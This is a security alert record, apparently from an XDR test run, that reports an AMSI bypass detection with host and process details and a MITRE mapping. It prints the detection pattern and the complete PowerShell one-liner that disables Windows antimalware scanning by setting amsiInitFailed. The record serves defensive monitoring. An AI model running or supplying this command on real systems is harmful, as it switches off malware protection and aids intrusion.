MEDIUM AMSI Bypass

Detected ID: #332 | Detected: 2026-01-01 06:22:06 | Lateral Movement
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Alert Overview

Process action type = execution AND target process cmd = *system.management.automation.amsiutils*amsiinitfailed*

Unclassified
XDR BIOC
New
DS:PANW/XDR Agent DOM:Security
Host Information
BOOK-R0BE6S1NC3
172.27.1.18
BOOK-R0BE6S1NC3\ubuntu
fb5c54168a024bea95ad1bfc092f7a53
-
Process Information Process Execution
Actor Process (Executor)
Process Name cmd.exe
Path C:\Windows\System32\cmd.exe
PID 16220
SHA256 64afc6db3aad1289533662e2d79e27dd55c7dcdb8cd918b08e145ad82ad5acb4 VT
MD5 6d109a3a00f210c1ab89c3b08399ed48
Signature Microsoft Corporation Signed 
C:\windows\system32\cmd.exe /c "powershell -c "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)""
Action Process (Target)
Process Name powershell.exe
SHA256 0ff6f2c94bc7e2833a5f7e16de1622e5dba70396f31c7d5f56381870317e8c46 VT
Signature Microsoft Corporation Signed 
powershell  -c "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"
Parent Process (Causality)
Process Name cmd.exe
Path C:\Windows\System32\cmd.exe
SHA256 64afc6db3aad1289533662e2d79e27dd55c7dcdb8cd918b08e145ad82ad5acb4 VT
MD5 6d109a3a00f210c1ab89c3b08399ed48 
C:\windows\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_incident_runner.bat""
MITRE ATT&CK Mapping
TA0005 - Defense Evasion
T1562.001 - Impair Defenses: Disable or Modify Tools
Quick Actions
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Severity Analysis
MEDIUM

Review and assess impact

Summary
Events 1
IP Addresses 1
Tags 2
File Artifacts Yes
Network Artifacts No
Registry Artifacts No
Analyst Verdict